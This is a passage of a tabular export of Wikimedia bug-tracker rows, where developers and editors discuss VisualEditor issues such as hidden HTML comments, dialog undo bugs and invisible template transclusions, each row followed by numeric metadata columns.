+242421,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,This was completed by the toolbar re-write that was merged for the 12 September release; moving bug 50459 from a blocker (which was wrong anyway) to a see-also.,,,1379657458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+242417,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"The references dialog has no references button already. Not sure about image captions as their broken on my local copy, but the code is there to specify the toolbar for each dialog.",,,1371816425,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+242413,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"Re references: yeah, that struck me as highly likely to confuse people (and highly unnecessary) when I saw it.",,,1371535012,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,False,,,-2,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+242408,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"Examples for captions:
+
+https://www.mediawiki.org/wiki/VisualEditor:TestImageCaptions
+
+Examples for references:
+
+https://www.mediawiki.org/wiki/VisualEditor:TestReferenceContents",,,1371422391,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+51656,Show change tags on edit diff views,"From bug 49602 comment 0:
+
+| The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.
+| This will probably require a core change.  However, I'm filing it here, both
+| so you're aware of it, and because it might need to be configurable (it might
+| be we don't want all tags, such as AbuseFilter, etc. to show on diffs).
+
+This is said request for a core change for this to be possible. :-)
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",High,80.0,1371419460,1373019604.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-acs2ekfum76g27vb7duj,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+242379,Show change tags on edit diff views,"
+
+%%%*** This bug has been marked as a duplicate of bug 25824 ***%%%",,,1373019604,,PHID-USER-lptfllsuhn22a4praqqo,True,,,PHID-TASK-acs2ekfum76g27vb7duj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51633,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"https://en.wikipedia.org/wiki/User:%C3%8F%C2%BF%C2%BD?veaction=edit
+
+If a template has no output (such as <https://en.wikipedia.org/wiki/Template:Lowercase_title>), it has no visible output and becomes very easy to silently remove using VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49667",High,80.0,1371357660,1374086311.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-uoptaiss5vhdq32dkswe,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+240992,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"(In reply to comment #2)
+> Is this the same as bug 49806? (I know that's newer but it has a lot more
+> discussion)
+
+It is indeed; merged.
+
+*** This bug has been marked as a duplicate of bug 49806 ***",,,1374086311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1
+240986,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),Is this the same as bug 49806? (I know that's newer but it has a lot more discussion),,,1374084075,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+240981,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"I don't see how this is an enhancement request. It's trivial to accidentally remove a template that has no output, resulting in damage to the page (irreversible damage in the context of using only VisualEditor).",,,1371441632,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uoptaiss5vhdq32dkswe,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51630,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"https://en.wikipedia.org/wiki/Digital_Forensics_XML?veaction=edit
+
+I went there, I changed a header from h3 to h2 by selecting the header and using the drop-down menu. When I click ""Page settings"" and then close the dialog box without making any changes, my change to the header is inexplicably lost.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371355920,1371584527.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zuh52jc2toouqelcucf4,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+240790,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,Merged and will go out with wmf8.,,,1371584527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+240785,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,Related URL: https://gerrit.wikimedia.org/r/69316 (Gerrit Change Ieb2e9e361afe057af93c4d374acc85df58bfb4c3),,,1371571111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+240780,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"Not quite, it's just doing it without checking if a new breakpoint was actually added.",,,1371571069,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+240774,VisualEditor: Closing (as opposed to applying) a dialog with no changes undoes last item in the stack anyway,"This looks like the code to ""undo changes made in the dialog when they don't apply them"" is doing that once too often.",,,1371431146,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zuh52jc2toouqelcucf4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0
+51623,VisualEditor: mw:Placeholder issue,"If there are 2 blank lines (line breaks) then the paragraph immediately after is uneditable (green striped overlay).
+
+Confirm here: http://en.wikipedia.org/w/index.php?title=User:Quiddity/sandbox&oldid=560048320
+
+and see thread here: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Paragraph_editing_disabled.3F.3F.3F
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371319260,1371516882.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-oe6mridn2bnwc6ynf3en,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+240415,VisualEditor: mw:Placeholder issue,This now works; you won't get blank lines causing the next line to be unable to be edited. Thanks for the bug report!,,,1371516882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oe6mridn2bnwc6ynf3en,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+240408,VisualEditor: mw:Placeholder issue,This (and similar issues if you have an HTML comment on a paragraph double-line  before some content) is caused by bug 47403; I won't mark this as a duplicate of that one because we're still trying to get a comment as to what will break in VE if Parsoid reverts the hack that causes this.,,,1371425386,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oe6mridn2bnwc6ynf3en,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51603,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"VisualEditor should display HTML comments, which are often used as notes or warnings to other editors.  It would be nice if they were editable too.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49608
+https://bugzilla.wikimedia.org/show_bug.cgi?id=46440
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49806
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53659",High,80.0,1371261360,1406161251.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-nvkr7m44ao53f5uftwjr,task_description,resolved,True,c1,2,True,False,False,-3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+239369,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Change 140773 merged by jenkins-bot:
+[BREAKING CHANGE] Show comments inline to the user
+
+https://gerrit.wikimedia.org/r/140773",,,1406160260,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,55,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+239364,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Change 140773 had a related patch set uploaded by Jforrester:
+[WIP] Show comments inline to the user
+
+https://gerrit.wikimedia.org/r/140773",,,1403205835,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+239358,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),*** Bug 52036 has been marked as a duplicate of this bug. ***,,,1393271493,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+239353,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),*** Bug 51732 has been marked as a duplicate of this bug. ***,,,1390416862,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239345,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(And of course, this means comments can not be easily deleted right now, in case they display obsolete information, for example.)",,,1379933298,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+239338,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"It should go without saying, but another consequence of this, beyond the comment being ignored, is that it can easily be misplaced, ending up in places where it does not belong and it does not make much sense, as user:Fram points out at en.wp today.",,,1379932587,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+239332,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I've just discovered that, at present at least, <!-- blah --> does not get nowikied so html comments are creatable in VE but not visible once saved so this functionality really very useful yet.
+Other HTML tags do get nowikied so this behaviour may subsequently change - see [[Wikipedia:VisualEditor/Feedback#HTML comments not nowikied - should they be?]]",,,1378460438,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,9,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1
+239328,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Like Pam I think it is best that these notices are visible and in-your-face so there is no doubt that you have seen them. Hover also causes issues on touch screen devices I think.
+
+One thing that would be possible would be for there to be an icon associated with the comment that collapsed it to get a more WYSIWYG view (and then expanded it again on a subsequent click). The default display would be shown. I guess that custom css/js to have them hidden by default would be possible if people wanted, but I don't suggest the devs do anything other than make it possible for users to write this. I don't know how difficult any of this would be to program though.
+
+On the issue of rendering, I know that some comments contain links, for example from [[Patrick Stewart]]: <!--Do not change this to KBE, see [[Knight Bachelor]]-->
+Obviously this is shown like any other link in the source editor, but it makes it clear that it is a link to an article and people with navpopups can select it and get a preview of the link. If VE could parse links (and I guess external links) then that would be a nice to have.",,,1377774240,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1
+239322,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #18)
+> I agree with James Forrester that this should be done in stages, and that the
+> first stage would be to ""show comments and let them be deleted.
+> 
+> In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty
+> much the same as for templates, except easier: look for <!-- as the left
+> boundary, then look for --> as the right boundary. Treat the result as a
+> block
+> that can be deleted or moved.
+> 
+> Looking at https://en.wikipedia.org/wiki/Help:Hidden_text , it's not clear
+> that
+> text within an invisible comment is essentially nowikied, but that is in fact
+> the case, because - by definition - the text can't be seen in either read or
+> preview mode. From a programming viewpoint, this means that even if, for
+> example, there is an http link within the comment, or a reference - both
+> quite
+> possible - no rendering is needed: all text should be treated as text, NOT
+> interpreted.
+> 
+Of the two options I would be much happier with (1): in many circumstances these comments need to be obvious to the naive editor, who will not necessarily have the savvy or curiosity to hover over an icon. Please display these comments clearly on screen for all editors, at the point in the article where they have been inserted: different font on coloured background sounds good.
+
+> What the person doing the edit sees is really the critical question. It seems
+> to me that there are two options:
+> 
+> (1) Display as a text, mixed in with regular text, but in a different color
+> font and background color. This is what is done with templates. Regarding the
+> color: Hidden comments are typically warnings/notices to editors, so perhaps
+> yellow? The font/coloring will, ideally, make it clear that the text is not
+> part of the article. 
+> 
+> (2) Treat like a comment in Excel - put a character (I suggested a warning
+> icon
+> - see http://findicons.com/search/warning; in yellow) into the visible text
+> that, when a person hovers on the icon, displays the hidden/invisible text.
+> While this is less visible to editors, in some sense - they have to hover to
+> read - it's more visible in the sense that hidden comments, in wikitext
+> editing
+> mode, are in the same font as everything else, and thus less likely to be
+> noticed than a bright yellow warning icon.
+> 
+> Option (2) lends itself nicely to the second phase mentioned by James: Here
+> there would be an icon on the toolbar, for adding a new comment. In addition,
+> if a person hovers over an existing comment, then an editing icon appears
+> nearby, which allows the person to edit the comment or to delete it [via
+> trashcan icon].",,,1377758963,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+239316,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #18)
+> In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty
+> much the same as for templates, except easier: look for <!-- as the left
+> boundary, then look for --> as the right boundary. Treat the result as a
+> block that can be deleted or moved.
+
+The parsing part is solved.  Comments are already preserved (as HTML comments) in the Parsoid DOM.",,,1377752273,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1
+239310,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I agree with James Forrester that this should be done in stages, and that the first stage would be to ""show comments and let them be deleted.
+
+In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty much the same as for templates, except easier: look for <!-- as the left boundary, then look for --> as the right boundary. Treat the result as a block that can be deleted or moved.
+
+Looking at https://en.wikipedia.org/wiki/Help:Hidden_text , it's not clear that text within an invisible comment is essentially nowikied, but that is in fact the case, because - by definition - the text can't be seen in either read or preview mode. From a programming viewpoint, this means that even if, for example, there is an http link within the comment, or a reference - both quite possible - no rendering is needed: all text should be treated as text, NOT interpreted.
+
+What the person doing the edit sees is really the critical question. It seems to me that there are two options:
+
+(1) Display as a text, mixed in with regular text, but in a different color font and background color. This is what is done with templates. Regarding the color: Hidden comments are typically warnings/notices to editors, so perhaps yellow? The font/coloring will, ideally, make it clear that the text is not part of the article. 
+
+(2) Treat like a comment in Excel - put a character (I suggested a warning icon - see http://findicons.com/search/warning; in yellow) into the visible text that, when a person hovers on the icon, displays the hidden/invisible text. While this is less visible to editors, in some sense - they have to hover to read - it's more visible in the sense that hidden comments, in wikitext editing mode, are in the same font as everything else, and thus less likely to be noticed than a bright yellow warning icon.
+
+Option (2) lends itself nicely to the second phase mentioned by James: Here there would be an icon on the toolbar, for adding a new comment. In addition, if a person hovers over an existing comment, then an editing icon appears nearby, which allows the person to edit the comment or to delete it [via trashcan icon].",,,1377735584,,PHID-USER-hirrhium5ibrtof34lwa,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+239304,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"resetting priority to high. I didn't intend to change it and didn't realise I had, sorry.",,,1377724382,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+239298,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"John Broughton suggests as a first step that hidden comments could very easily be made visible but not editable. He suggests putting the comments in a different colour, possibly white on black, to distinguish them from regular content.
+
+Obviously being able to edit hidden comments is needed functionality too, but that is less urgent than displaying them.",,,1377724285,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+239294,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"It has been reported on en.wp today that a user of VE was:
+[..] continually making changes to articles contrary to comments in the wikisource (''two examples of such comments being ""<!-- DO NOT CHANGE THIS NATIONALITY WITHOUT DISCUSSION ON TALK PAGE -->""  and ""<!-- This is, as Wikipedia guidelines suggest, as he self-identifies and by long-term consensus -->"")
+
+This bug is already marked as high priority and has been for over 2 months. It really needs to be fixed before much longer.",,,1377721939,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+239288,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"**ignatzmice.wiki** wrote:
+
